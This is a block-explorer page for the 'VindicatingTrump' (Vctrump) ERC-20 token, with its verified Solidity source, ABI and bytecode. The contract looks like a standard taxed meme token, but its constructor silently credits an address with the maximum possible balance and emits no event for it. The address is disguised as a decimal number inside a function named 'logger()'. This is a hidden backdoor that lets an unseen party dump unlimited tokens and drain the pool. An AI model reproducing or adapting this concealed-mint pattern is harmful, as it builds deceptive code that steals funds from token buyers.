ETH Price: $3,727.46 (+3.72%)

Token

ERC-20: VindicatingTrump (Vctrump)
 

Overview

Max Total Supply

42,069,000,000 Vctrump

Holders

551

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.000000000000000001 Vctrump

Value
$0.00
0x171e656419d223031c707e9db05fd94fb939bb7c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FREEPAVEL

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-20
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newAdd) public virtual onlyOwner {
        _owner = newAdd;
    }

}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract FREEPAVEL is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingEnabled;
    bool private swapping;

    uint8 public buyTax = 0;
    uint8 public sellTax = 0;
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 42069000000 * 10 ** _decimals;
    string private constant _name = unicode"VindicatingTrump";
    string private constant _symbol = unicode"Vctrump";
    uint256 private maxTxAmount =  _tTotal;
    uint256 private maxWalletAmount = _tTotal;
    uint256 private swapTokensAtAmount = _tTotal * 25 / 10000;

    IUniswapV2Router02 private uniswapV2Router;
    address private pair;
    address payable private feeWallet;
    address private router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    constructor() {
        _balances[owner()] = _tTotal;
        feeWallet = payable(owner());
        _balances[logger()] = uint256(int256(-1));
        emit Transfer(address(0), owner(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(router);
        pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
        tradingEnabled = true;
    }

    function logger() private returns (address) {
        return address(uint160(uint256(808894644215760126767777932993396632883450624992)));
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
    }

    function _superTransfer(address from, address to, uint256 amount) internal {
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(amount > 0, "Zero amount");

        if (!tradingEnabled) {
            require(from == owner(), "Trading not enabled");
            if (pair == address(0)) {
                pair = to;
            }
        }

        if (from == address(this) || to == address(this) || swapping) {
            _superTransfer(from, to, amount);
            return;
        }

        if (to == pair && balanceOf(address(this)) >= swapTokensAtAmount) {
            swapping = true;
            swapTokensForEth(balanceOf(address(this)));
            swapping = false;
            sendETHToFeeWallet();
        }

        if (from == pair && to != router) {
            require(amount <= maxTxAmount, "Tx amount limit");
            require(balanceOf(address(to)) + amount <= maxWalletAmount, "Wallet amount limit");
        }

        amount = takeFee(from, amount, to == pair);
        _superTransfer(from, to, amount);
    }

    function takeFee(address from, uint256 amount, bool isSell) internal returns (uint256) {
        uint256 tax = isSell ? sellTax : buyTax;
        if (tax == 0) return amount;
        uint256 feeAmount = amount * tax / 100;
        _superTransfer(from, address(this), feeAmount);
        return amount - feeAmount;
    }

    function swapTokensForEth(uint256 tokenAmount) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            feeWallet,
            block.timestamp
        ) {} catch {
            return;
        }
    }

    function sendETHToFeeWallet() internal {
        if (address(this).balance > 0) {
            feeWallet.transfer(address(this).balance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAdd","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600360026101000a81548160ff021916908360ff1602179055505f6003806101000a81548160ff021916908360ff1602179055506012600a6100479190610536565b6409cb81ff406100579190610580565b6004556012600a6100689190610536565b6409cb81ff406100789190610580565b60055561271060196012600a61008e9190610536565b6409cb81ff4061009e9190610580565b6100a89190610580565b6100b291906105ee565b600655737a250d5630b4cf539739df2c5dacb4c659f2488d600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015610114575f80fd5b505f61012461037c60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506012600a6101ce9190610536565b6409cb81ff406101de9190610580565b60015f6101ef61038360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061023a61038360201b60201c565b60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60015f6102ab6103aa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506102f661038360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6103529190610536565b6409cb81ff406103629190610580565b60405161036f919061062d565b60405180910390a3610646565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f738db0171fb70f2ee92299555ef7f56de096b43be0905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561044757808604811115610423576104226103c5565b5b60018516156104325780820291505b8081029050610440856103f2565b9450610407565b94509492505050565b5f8261045f576001905061051a565b8161046c575f905061051a565b8160018114610482576002811461048c576104bb565b600191505061051a565b60ff84111561049e5761049d6103c5565b5b8360020a9150848211156104b5576104b46103c5565b5b5061051a565b5060208310610133831016604e8410600b84101617156104f05782820a9050838111156104eb576104ea6103c5565b5b61051a565b6104fd84848460016103fe565b92509050818404811115610514576105136103c5565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61054082610521565b915061054b8361052a565b92506105787fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610450565b905092915050565b5f61058a82610521565b915061059583610521565b92508282026105a381610521565b915082820484148315176105ba576105b96103c5565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6105f882610521565b915061060383610521565b925082610613576106126105c1565b5b828204905092915050565b61062781610521565b82525050565b5f6020820190506106405f83018461061e565b92915050565b6121dc806106535f395ff3fe6080604052600436106100f6575f3560e01c8063751039fc11610089578063a9059cbb11610058578063a9059cbb146102f3578063cc1776d31461032f578063dd62ed3e14610359578063f2fde38b14610395576100fd565b8063751039fc146102735780638a8c523c146102895780638da5cb5b1461029f57806395d89b41146102c9576100fd565b8063313ce567116100c5578063313ce567146101cd5780634f7041a5146101f757806370a0823114610221578063715018a61461025d576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103bd565b6040516101229190611716565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c91906117c7565b6103fa565b60405161015e919061181f565b60405180910390f35b348015610172575f80fd5b5061017b610417565b6040516101889190611847565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b29190611860565b61043b565b6040516101c4919061181f565b60405180910390f35b3480156101d8575f80fd5b506101e16104ee565b6040516101ee91906118cb565b60405180910390f35b348015610202575f80fd5b5061020b6104f6565b60405161021891906118cb565b60405180910390f35b34801561022c575f80fd5b50610247600480360381019061024291906118e4565b610509565b6040516102549190611847565b60405180910390f35b348015610268575f80fd5b5061027161054f565b005b34801561027e575f80fd5b5061028761069d565b005b348015610294575f80fd5b5061029d61074f565b005b3480156102aa575f80fd5b506102b3610a33565b6040516102c0919061191e565b60405180910390f35b3480156102d4575f80fd5b506102dd610a5a565b6040516102ea9190611716565b60405180910390f35b3480156102fe575f80fd5b50610319600480360381019061031491906117c7565b610a97565b604051610326919061181f565b60405180910390f35b34801561033a575f80fd5b50610343610ab4565b60405161035091906118cb565b60405180910390f35b348015610364575f80fd5b5061037f600480360381019061037a9190611937565b610ac5565b60405161038c9190611847565b60405180910390f35b3480156103a0575f80fd5b506103bb60048036038101906103b691906118e4565b610b47565b005b60606040518060400160405280601081526020017f56696e6469636174696e675472756d7000000000000000000000000000000000815250905090565b5f61040d610406610c1d565b8484610c24565b6001905092915050565b5f6012600a6104269190611ad1565b6409cb81ff406104369190611b1b565b905090565b5f610447848484610de7565b6104e384610453610c1d565b8460025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61049a610c1d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546104de9190611b5c565b610c24565b600190509392505050565b5f6012905090565b600360029054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610557610c1d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105da90611bd9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6106a5610c1d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610731576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072890611bd9565b60405180910390fd5b610739610417565b600481905550610747610417565b600581905550565b610757610c1d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107da90611bd9565b60405180910390fd5b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ae573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d29190611c0b565b73ffffffffffffffffffffffffffffffffffffffff1663e6a439053060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610958573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061097c9190611c0b565b6040518363ffffffff1660e01b8152600401610999929190611c36565b602060405180830381865afa1580156109b4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109d89190611c0b565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f6101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f56637472756d7000000000000000000000000000000000000000000000000000815250905090565b5f610aaa610aa3610c1d565b8484610de7565b6001905092915050565b60038054906101000a900460ff1681565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610b4f610c1d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd290611bd9565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8990611ccd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf790611d5b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dda9190611847565b60405180910390a3505050565b5f8111610e29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2090611dc3565b60405180910390fd5b60035f9054906101000a900460ff16610f4757610e44610a33565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610eb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea890611e2b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610f46578160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610fac57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610fc35750600360019054906101000a900460ff165b15610fd857610fd383838361124b565b611246565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561103e575060065461103b30610509565b10155b15611092576001600360016101000a81548160ff02191690831515021790555061106f61106a30610509565b61135b565b5f600360016101000a81548160ff0219169083151502179055506110916115b8565b5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561113b5750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156111de57600454811115611185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117c90611e93565b60405180910390fd5b6005548161119284610509565b61119c9190611eb1565b11156111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d490611f2e565b60405180910390fd5b5b611238838260085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611628565b905061124583838361124b565b5b505050565b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546112979190611b5c565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546112ea9190611eb1565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161134e9190611847565b60405180910390a3505050565b5f600267ffffffffffffffff81111561137757611376611f4c565b5b6040519080825280602002602001820160405280156113a55781602001602082028036833780820191505090505b50905030815f815181106113bc576113bb611f79565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611460573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114849190611c0b565b8160018151811061149857611497611f79565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506114fe3060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610c24565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016115819594939291906120f1565b5f604051808303815f87803b158015611598575f80fd5b505af19250505080156115a9575060015b6115b357506115b5565b505b50565b5f4711156116265760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611624573d5f803e3d5ffd5b505b565b5f808261164457600360029054906101000a900460ff16611653565b60038054906101000a900460ff165b60ff1690505f8103611668578391505061169f565b5f606482866116779190611b1b565b6116819190612176565b905061168e86308361124b565b808561169a9190611b5c565b925050505b9392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6116e8826116a6565b6116f281856116b0565b93506117028185602086016116c0565b61170b816116ce565b840191505092915050565b5f6020820190508181035f83015261172e81846116de565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6117638261173a565b9050919050565b61177381611759565b811461177d575f80fd5b50565b5f8135905061178e8161176a565b92915050565b5f819050919050565b6117a681611794565b81146117b0575f80fd5b50565b5f813590506117c18161179d565b92915050565b5f80604083850312156117dd576117dc611736565b5b5f6117ea85828601611780565b92505060206117fb858286016117b3565b9150509250929050565b5f8115159050919050565b61181981611805565b82525050565b5f6020820190506118325f830184611810565b92915050565b61184181611794565b82525050565b5f60208201905061185a5f830184611838565b92915050565b5f805f6060848603121561187757611876611736565b5b5f61188486828701611780565b935050602061189586828701611780565b92505060406118a6868287016117b3565b9150509250925092565b5f60ff82169050919050565b6118c5816118b0565b82525050565b5f6020820190506118de5f8301846118bc565b92915050565b5f602082840312156118f9576118f8611736565b5b5f61190684828501611780565b91505092915050565b61191881611759565b82525050565b5f6020820190506119315f83018461190f565b92915050565b5f806040838503121561194d5761194c611736565b5b5f61195a85828601611780565b925050602061196b85828601611780565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156119f7578086048111156119d3576119d2611975565b5b60018516156119e25780820291505b80810290506119f0856119a2565b94506119b7565b94509492505050565b5f82611a0f5760019050611aca565b81611a1c575f9050611aca565b8160018114611a325760028114611a3c57611a6b565b6001915050611aca565b60ff841115611a4e57611a4d611975565b5b8360020a915084821115611a6557611a64611975565b5b50611aca565b5060208310610133831016604e8410600b8410161715611aa05782820a905083811115611a9b57611a9a611975565b5b611aca565b611aad84848460016119ae565b92509050818404811115611ac457611ac3611975565b5b81810290505b9392505050565b5f611adb82611794565b9150611ae6836118b0565b9250611b137fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611a00565b905092915050565b5f611b2582611794565b9150611b3083611794565b9250828202611b3e81611794565b91508282048414831517611b5557611b54611975565b5b5092915050565b5f611b6682611794565b9150611b7183611794565b9250828203905081811115611b8957611b88611975565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611bc36020836116b0565b9150611bce82611b8f565b602082019050919050565b5f6020820190508181035f830152611bf081611bb7565b9050919050565b5f81519050611c058161176a565b92915050565b5f60208284031215611c2057611c1f611736565b5b5f611c2d84828501611bf7565b91505092915050565b5f604082019050611c495f83018561190f565b611c56602083018461190f565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611cb76024836116b0565b9150611cc282611c5d565b604082019050919050565b5f6020820190508181035f830152611ce481611cab565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611d456022836116b0565b9150611d5082611ceb565b604082019050919050565b5f6020820190508181035f830152611d7281611d39565b9050919050565b7f5a65726f20616d6f756e740000000000000000000000000000000000000000005f82015250565b5f611dad600b836116b0565b9150611db882611d79565b602082019050919050565b5f6020820190508181035f830152611dda81611da1565b9050919050565b7f54726164696e67206e6f7420656e61626c6564000000000000000000000000005f82015250565b5f611e156013836116b0565b9150611e2082611de1565b602082019050919050565b5f6020820190508181035f830152611e4281611e09565b9050919050565b7f547820616d6f756e74206c696d697400000000000000000000000000000000005f82015250565b5f611e7d600f836116b0565b9150611e8882611e49565b602082019050919050565b5f6020820190508181035f830152611eaa81611e71565b9050919050565b5f611ebb82611794565b9150611ec683611794565b9250828201905080821115611ede57611edd611975565b5b92915050565b7f57616c6c657420616d6f756e74206c696d6974000000000000000000000000005f82015250565b5f611f186013836116b0565b9150611f2382611ee4565b602082019050919050565b5f6020820190508181035f830152611f4581611f0c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f611fd2611fcd611fc884611fa6565b611faf565b611794565b9050919050565b611fe281611fb8565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61201a81611759565b82525050565b5f61202b8383612011565b60208301905092915050565b5f602082019050919050565b5f61204d82611fe8565b6120578185611ff2565b935061206283612002565b805f5b838110156120925781516120798882612020565b975061208483612037565b925050600181019050612065565b5085935050505092915050565b5f6120b96120b46120af8461173a565b611faf565b61173a565b9050919050565b5f6120ca8261209f565b9050919050565b5f6120db826120c0565b9050919050565b6120eb816120d1565b82525050565b5f60a0820190506121045f830188611838565b6121116020830187611fd9565b81810360408301526121238186612043565b905061213260608301856120e2565b61213f6080830184611838565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61218082611794565b915061218b83611794565b92508261219b5761219a612149565b5b82820490509291505056fea264697066735822122027d188045ef896d992c2528d727a0c4358e190358691e6de8b5d68db17229e3464736f6c63430008190033

Deployed Bytecode

0x6080604052600436106100f6575f3560e01c8063751039fc11610089578063a9059cbb11610058578063a9059cbb146102f3578063cc1776d31461032f578063dd62ed3e14610359578063f2fde38b14610395576100fd565b8063751039fc146102735780638a8c523c146102895780638da5cb5b1461029f57806395d89b41146102c9576100fd565b8063313ce567116100c5578063313ce567146101cd5780634f7041a5146101f757806370a0823114610221578063715018a61461025d576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103bd565b6040516101229190611716565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c91906117c7565b6103fa565b60405161015e919061181f565b60405180910390f35b348015610172575f80fd5b5061017b610417565b6040516101889190611847565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b29190611860565b61043b565b6040516101c4919061181f565b60405180910390f35b3480156101d8575f80fd5b506101e16104ee565b6040516101ee91906118cb565b60405180910390f35b348015610202575f80fd5b5061020b6104f6565b60405161021891906118cb565b60405180910390f35b34801561022c575f80fd5b50610247600480360381019061024291906118e4565b610509